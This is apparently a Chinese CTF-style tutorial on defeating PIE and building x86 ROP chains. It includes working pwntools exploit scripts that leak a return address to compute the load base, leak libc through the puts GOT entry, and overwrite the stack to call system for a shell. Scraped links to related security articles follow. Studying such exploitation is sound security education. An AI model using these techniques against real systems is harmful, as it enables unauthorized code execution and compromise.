pie的绕过方式
目标程序下载
提取码:qk1y
1.检查程序开启了哪些安全保护机制
pie机制简介
PIE(position-independent executable) 是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址
pie机制怎么绕过
虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,比如函数栈帧中的返回地址
,通过ida静态的看他的程序地址,就能算出基址,从而实现绕过
2.在IDA中查找码漏洞与可以被我们利用的位置
从这里可以看到 v1被当做v4的下标,v1还是可控的,这样就可以实现栈上的任意位置读写
首先,我们感兴趣的肯定是这个函数的返回地址,正常来说,是返回这里的
用汇编看下地址
正常来说B35这个函数返回后应该是0xb11这个位置,如果拿到了程序运行时的b35函数的返回地址
然后把他减去0xb11,就是这次程序运行的基地址了
只不过这个程序有些麻烦,还要一个字节一个字节的输入,scanf 中的 %d 格式输入
#!/usr/bin/python
#coding=utf-8
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["tmux","splitw","-h"]
p = process("./pie") #本地调试
#p = remote("x.x.x.x",xxxx) #远程调试remote(ip,port)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./pie")
p.sendlineafter('name:','aa')
def leak(num):
p.sendlineafter('input index\n',str(num))
p.recvuntil('now value(hex) ')
return p.recvline()
def writeN(num):
p.sendlineafter('input new value\n',str(int(num,16)))
#算出pie的偏移量
retAddr=''
for i in range(8): #leak出当前函数的返回地址
AddrPart=leak(0x158+i)[-3:-1] #0x158是rbp后一个地址
if len(AddrPart) == 1:
AddrPart='0'+AddrPart
retAddr=AddrPart+retAddr
writeN('0')
pie=int(retAddr,16)-0xb11
log.success("pie:"+hex(pie))
puts_plt = elf.plt["puts"]+pie
puts_got = elf.got["puts"]+pie
pop_rdi_ret=0xd03+pie
leakFun=0xb35+pie
def readHex(offset,value):
value=hex(value)[2:]
if len(value) < 16:
value=(16-len(value))*'0'+value
leak(offset*8+0x158)
writeN(value[-2:])
for i in range(1,8):
leak(offset*8+0x158+i)
writeN(value[-2*(1+i):-2*i])
readHex(0,pop_rdi_ret)
readHex(1,puts_got)
readHex(2,puts_plt)
readHex(3,leakFun)
leak(0) #因为是要循环41次,这里多加一次无用,让他结束
writeN('0')
p.sendlineafter('do you want continue(yes/no)? \n','yes')
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
log.success("puts addr:"+hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc addr:"+hex(libc.address))
system = libc.symbols["system"]
log.success("system:"+hex(system))
readHex(0,system)
readHex(1,0)
readHex(1,0)
readHex(1,0)
readHex(1,0)
#gdb.attach(p)
leak(0)
writeN('0')
p.sendlineafter('do you want continue(yes/no)? \n','sh')
#这里的sh正好会保存到rsi里去
p.interactive()
成功获得了shell
X86 ROP链
每一个函数内部的栈空间都是这样分部的
int a(int b,int c,int d){
return b+c+d;
}
int main(){
a(1,2,3);
return 0;
}
//刚刚进入a函数时的栈
00:0000│ esp 0xffffd590 —▸ 0x8048465 (main+28) ◂— add esp, 0xc // 注1
01:0004│ 0xffffd594 ◂— 0x1 // 注2
02:0008│ 0xffffd598 ◂— 0x2 // 注3
03:000c│ 0xffffd59c ◂— 0x3 // 注4
第一个为a函数的返回main函数的位置,也就是a的返回地址。后面的是参数
如果把返回地址(注1)改写为 read 函数地址,那么(注2)的位置就是 read 函数结束后的返回位置,(注3)的位置就是 read 的第一个参数,(注4)为第二个参数,以此类推。
当程序需要多个函数才能 getshell 那么(注2)的位需要写一个ROPgadget 的地址,把栈中的东西弹出去,后面再写一个函数地址,然后函数返回地址、参数
例子:
#include<stdio.h>
#include<unistd.h>
void fun()
{
char name[4];
puts("you name:");
read(0,name,200);
puts(name);
}
int main()
{
fun();
return 0;
}
$ g++ -m32 -o x86Rop a.c -fno-stack-protector //以32位程序编译,并且没有canary
解:
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
fun_addr= 0x804843B
junk='junk'*4
payload=junk+p32(puts_plt)+p32(fun_addr)+p32(puts_got)
#gdb.attach(p)
p.sendlineafter('you name:\n',payload)
p.recvline()
p.recvline()
puts_addr = u32(p.recv(4))
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc addr:"+hex(libc.address))
system = libc.symbols["system"]
log.success("system:"+hex(system))
binsh=libc.search("/bin/sh").next()
payload=junk+p32(system)+p32(0)+p32(binsh)
p.sendlineafter('you name:\n',payload)
p.interactive()
或者最后的payload也可以写能
伪代码:
read + pop_pop _pop_ret + 0 + bss_addr + 8 + system + p32(无所谓) + bss_addr
的形式
pie的绕过方式的更多相关文章
- Linux保护机制和绕过方式
Linux保护机制和绕过方式 CANNARY(栈保护) 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...
- 数据库语法整理及WAF绕过方式
关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...
- NX 栈不可执行的绕过方式--ROP链
目标程序下载 提取码:5o0a 环境:Ubuntu linux 工具 pwn-gdb pwntools python库 ROPgadget ( 这些工具可以到github官网找) 1.检查程序开了哪些 ...
- PIE保护绕过
(一):partial write 开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write.但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是 ...
- SQL注入个人理解及思路(包括payload和绕过的一些方式)
首先本文主要是把我对SQL注入的一些坑和最早学习SQL注入的时候的一些不理解的地方做一个梳理. (本文仅为个人的一点皮毛理解,如有错误还望指出,转载请说明出处,大佬勿喷=.=) 什么是SQL注入呢? ...
- Highcharts Pie 饼图提示标签IE下重叠解决方法,及json数据绑定方法
一.提示标签重叠解决方法: series: [{ startAngle:90,//添加这个属性,就可以解决 type: 'pie', name: '充值方式' }] 不知道为什么,上述方法不行了.第一 ...
- PHP中通过bypass disable functions执行系统命令的几种方式
原文:http://www.freebuf.com/articles/web/169156.html 一.为什么要bypass disable functions 为了安全起见,很多运维人员会禁用PH ...
- 通过HTTP参数污染绕过WAF拦截 (转)
上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...
- Struts2再曝高危漏洞(S2-020补丁绕过)
之前S2-020漏洞利用方式见drops:Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS及远程代码运行利用! ...
随机推荐
- MySQL 8.0新特性之原子DDL
文章来源:爱可生云数据库 简介 MySQL8.0 开始支持原⼦ DDL(atomic DDL),数据字典的更新,存储引擎操作,写⼆进制日志结合成了一个事务.在没有原⼦DDL之前,DROP TABLE ...
- jQuery表格排序(tablesorter)
1.在html页面的head中引用 <script src="/static/Bootstrap/js/jquery/jquery.tablesorter.min.js"&g ...
- ln 硬链接介绍
硬链接:在linux文件系统中多个文件名指向同一个索引节点(Inode)是正常允许的.硬链接文件就相当于文件的另一个入口. 硬链接的作用:允许一个文件拥有多个有效路径(多个入口),这样用户就可以建立硬 ...
- python基础学习12----装饰器
装饰器可以在不修改目标函数代码的前提下, 在目标函数执行前后增加一些额外功能 例如有一个简单的函数 import time def func1(): print("这是一个简单的函数&quo ...
- Springboot系列:Springboot与Thymeleaf模板引擎整合基础教程(附源码)
前言 由于在开发My Blog项目时使用了大量的技术整合,针对于部分框架的使用和整合的流程没有做详细的介绍和记录,导致有些朋友用起来有些吃力,因此打算在接下来的时间里做一些基础整合的介绍,当然,可能也 ...
- fatal: cannot create directoryxxxx': Invalid argument
问题:fatal: cannot create directoryxxxx': Invalid argument 环境:git 拉取远程仓库的代码后 原因:同事是mac,这个文件夹命名规则在苹果上没有 ...
- Terminal Service 终端链接
2008 64位前有这项服务,之后就与远程管理合并了 如果要设置他的连接数可以去 桌面 --> 管理工具 --> 远程桌面服务 最大数设置成1个好了
- C#中抽象类(abstract)和接口(interface)的实现
抽象类 抽象方法是没有代码实现的方法,使用abstract关键字修饰: 抽象类是包含0到多个抽象方法的类,其不能实例化.含有抽象方法的类必须是抽象类,抽象类中也可以包含非抽象方法: 重写抽象类的方法用 ...
- error occurred at recursive SQL level 1
ORA-00604: error occurred at recursive SQL level 1出现的错误:java.sql.SQLException: ORA-00604: error occu ...
- 深入C#学习系列一:序列化(Serialize)、反序列化(Deserialize)
序列化概述: 序列化 (Serialization)将对象的状态信息转换为可以存储或传输的形式的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区.以后,可以通过从存储区中读取或反序列化对象 ...